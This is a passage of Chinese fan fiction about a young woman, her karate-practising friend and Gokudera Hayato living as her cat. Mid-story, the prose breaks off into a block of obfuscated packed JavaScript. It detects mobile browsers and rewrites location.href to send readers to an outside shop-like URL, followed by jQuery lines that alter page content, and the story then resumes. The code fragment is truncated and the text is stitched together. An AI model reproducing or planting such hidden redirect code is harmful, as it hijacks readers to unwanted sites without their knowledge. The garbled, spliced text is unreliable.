那一晚,泷川绪也没有睡着,说不清是不是勾起了糟糕的回忆,反复睁眼闭眼也无济于事。
她不想影响狱休息,便将呼吸调整到了睡熟的频率。
一呼一吸,大脑播放着杂乱的画面,它太活跃了,扰得自己难以静下心,大多时候女性都不会想这些事。
慢慢地,她捕捉起空气中另一个生命的呼吸声,当他们同频时,闯入脑海的是宁静剔透的绿色湖泊,总是充满鲜活朝气的绿色湖泊。
如同会流动宝石一样,人对珍宝总是有收藏的欲望,她很庆幸自己是第一个发现的。
于是泷川绪捧起宝石,将他洗干净带回家藏起来。
那是她的宝石,她发现的宝石,这个认知让女性愉悦,让女性内心的满足膨胀。
得知猫咪是妖怪时,她也没有害怕,身躯由于兴奋而发热,瞳孔也骤缩,被竭力控制着。
真好,真好啊,他是特别的,他能一直陪伴她,他们拥有一个共同的、隐秘的小秘密。
从此她拥有了一个家人,空荡荡的房子多了一个小生命等待她回家。
黑暗中泷川绪缓慢侧头,呼吸声更加清晰,她数着数着蜷缩成一团闭上了眼睛,安全感包裹住全身,像重新回到温床。
女性渐渐地舒展开身体。
今天会做个好梦吧。
.
确实做了个好梦,一觉醒来日上三竿。
手机里都是未接来电,聊天界面最后的消息停留在半个小时前。
上班就是狗屎:【你完蛋了】
泷川绪心里咯噔一下,以生平最快的速度收拾好,冲出卧室的时候,波斯猫正喝着牛奶,被她吓了一跳。
今天太阳从西边出来了,居然起得这么早。
女性只来得及给他倒满食物就嗖地飞出门,临走时手忙脚乱地把一袋猫粮塞进包里。
“…”
跑步窜进巷子的时候,时间已经过去五分钟,她撕开包装囫囵倒了一通。
不管怎么样,猫不能忘记喂,她总不能指望暴脾气的狱来喂这些嗷嗷待哺的小猫。
.
空手道馆的轮廓在眼中显现,远远的,泷川绪捕捉到那一抹熟悉的身影,带着风雨欲来的恐怖气息。
她不觉放缓脚步,蹑手蹑脚靠近,待到一定距离后低下头,余光小心翼翼地观察着,主打一个认错态度良好。
竹内诗织很久都没有说话,似乎是上下打量了她一通,紧接着她的手里就被塞了一份热乎乎的三明治。
好友的手有些温凉,泷川绪不假思索地拉住了,拨开包装啃着三明治,在诗织看过来的时候无辜地眨眨眼。
“很热诶,松开。”
那人在前面小声地抱怨,女性假装没有听到,握紧了一些,瞧着眼前的耳垂一点点变红,
“我说你啊…”
“牵手很奇怪,我之前不是和你说过吗…”
来到馆内接收到异样眼光的竹内诗织扶额,久违地有一丝头疼。
她似乎又看见了当初那个抱着她说喜欢的家伙。
“嗯嗯,可是诗织不是男孩子,而且我们是好朋友,不是吗?”
好友沉默了,随后默许般牵着笨蛋走进更衣室,门挡住了外头的视线,她这才掐住可恶家伙的脸颊。
泷川绪含糊不清地开口:
“泥肿么了?”
算了,不能和傻子讲道理。
竹内诗织脸上的表情变得慈爱,她摸摸蓬松的脑袋,喟叹真像只猫啊,绪酱,生时高岭之花,熟了粘人又爱撒娇。
被当成猫的女性搞不清状况:莫?
“诗织?为什么要露出那么恶心的表情?”
果然,不说话的好友最可爱了。
竹内诗织捂住她还要继续说话的嘴,把一套干净的衣服塞进她的怀里,冷酷又无情。
“换衣服,今天你陪练的对象是我。”
“诗织,你不会公报私仇打死我吧?”
“闭嘴,不然我现在就打死你。”
“哦…”
.
泷川绪虽然练过一段时间的空手道,还残留一点基础,但和常年与空手道打交道的好友根本没法比。
她的动作利落干净,脚尖离地的瞬间毫不留情地踢向下肢。
仅仅慢了半拍,腿侧的缓冲垫就受到巨力,让女性踉跄两步。
竹内诗织身姿挺拔地站在原地,示意她踢腿,手部发力的瞬间,青筋蜿蜒上手背,拦截住进攻后抓住了泷川绪的脚。
“发力的位置不对。”
调整好位置,一次,两次…完成时,她已经大汗淋漓,累得瘫在旁边的垫子上,好友递给她一瓶开盖的水,也坐了下来,一小口一小口地咽着水。
泷川绪注视着她的侧颜发呆。
竹内诗织完全跳出了世俗人对女性的定义,什么大和抚子,什么温柔小意,女性全都嗤之以鼻。
她从不觉得自己属于弱势群体,需要依靠外在的东西,只是一味地靠自己向上攀登,永远自信又从容。
这样的女性总是拥有让人为之倾倒的魅力。
“果然,真的好喜欢诗织。”
慕强心攀升的泷川绪不由自主说出心里话。
“?”
好友对她的暴言暴语一时语塞,旋即挑眉调侃道:
“你这个表情可没有说服性。”
见她那姣好的面容开始如锅里沸腾的水般抽搐,红发女性打断施法,揉搓她的头发。
女性捂着头却没有反抗,只是垮着小猫批脸眼神控诉。
从一开始,竹内诗织就觉得她长得真招人稀罕,圆钝的眼睛懵懵懂懂,面无表情的样子活像个可爱的人机,特别是不通人性的时候言辞真诚又呛人。
反差感十足。
更别说她看见这么个小可爱被一群猫咪围着扒拉的时候,心里有多软。
可惜不能带回家。
于是女性暗戳戳开始关注她,真令人惭愧,那段时间她都要变成痴汉。
好在顺利交到了朋友,熟悉之后不曾想是个不懂常识的傻子。
早在看见那次张贴的搜索记录时,她就该想到的,不过她也没资格说她就是了。
直到现在,竹内诗织还是会被好友时不时奇妙的脑回路硬控。
.
“你是不是在心里说我坏话了?”
泷川绪狐疑地看向她。
竹内诗织笑容不变,矢口否认,从一开始在好友面前会露馅到现在,她已经进化了。
黑发女性没再纠结这个问题,撇嘴推开更衣室的门。
出了空手道馆的两人商议后决定去泷川绪的家里。
原因是她提到的那句“我的厨艺精进了很多”。
竹内诗织很好奇精进到了什么地步,也就跟着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328921|199145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回了家,顺便看看她收养的那只被夸得天上天下绝无仅有的猫咪。
“狱…狱?”
波斯猫出去了还没有回来,泷川绪只好带着好友落座,倒了一杯果汁就进厨房了。
竹内诗织看了看之前来时还有些空荡的房子,窗前多了猫爬架,沙发上有个小小的猫窝,印着猫爪的小碗端正地摆在小桌子上,下面铺了一层毛茸茸的小猫垫子,散发出温馨的气息,总算是有了家的样子。
好友对这只猫确实很上心。
正当她打量之际,窗户那边传来了摩擦声,一只银色的猫咪从缝里钻了进来,见到她后动作顿住了,又退出去往下看了看,似乎在确认这里是不是他的家。
“成精了?”
女性惊奇地脱口而出,听到动静的泷川绪探出头,却见一人一猫对峙的场面,顾不上什么就一把撸下窗台上的狱寺隼人。
“我给他留了窗户的。”
“不会丢吗?”
竹内诗织沉默一会儿还是问道。
“他很聪明的。”
“…”
你高兴就好。
生怕她再问,泷川绪迅速回了厨房,末了添上一句,
“请勿偷师学艺。”
要是被看见一只猫教她做饭,好友震惊过后极有可能会找人来做法。
“…”
竹内诗织不知道她是哪里来的自信,坐在沙发上不发一言。
就算看了,正常人也不会找死复刻的。
.
厨房里,狱寺隼人坐在一边看菜谱,指挥泷川绪炒菜。
虽然很少下厨,但他的厨艺还算可以。
女性尝了口咸淡,感觉还行,但她的味觉有极大的偏差性,于是自然地吹凉了菜,盛了一点给小猫尝尝。
猫咪低头吃了一口冲她点头,泷川绪心领神会地盛出。
等菜全都端到桌上,她招呼好友坐下后帮小猫咪洗干净了爪子,盛好菜放在小桌上。
竹内诗织不禁咋舌,又观察一番桌上的菜。
没有奇怪的颜色,气味也正常。
难不成厨房杀手真转性了,她还记得上次下厨食物中毒把她送进医院了。
抬筷夹了点,她发觉还行,便放下心吃起来。
午餐时间在静谧的时光下流逝,竹内诗织主动请缨洗碗,洗洁精的泡沫浮在槽中,她下意识摸脸沾上了。
出了客厅,一人一猫坐在沙发上昏昏欲睡,泷川绪打了个哈欠,抽出一张纸巾擦干净好友的脸。
波斯猫窝在她的怀里,半眯起眼睛瞟向来人,又懒懒散散地呼呼睡觉了。
小猫脾气大得很,除了主人以外的人都不让碰,竹内诗织失笑,注视抚摸猫咪的黑发女性。
她很高兴,之前还一直很担心好友一个人能不能好好生活,现在看来她过得很好。
这样自己就放心了。
.
狱寺隼人趴在窗户上盯着那个张扬的身影,眼眸闪过一抹思索。
原来这就是那个笨蛋天天挂在嘴边的朋友…
“狱?你在看什么?”
女性的声音在耳边幽幽响起,她看见了好友的身影,随后恍然大悟。
“果然你也很喜欢诗织吧…巴拉巴拉…”
被安利一下午的少男逐渐暴躁,肉垫拍在泷川绪的嘴上示意她闭嘴。
够了,他知道她是友控了。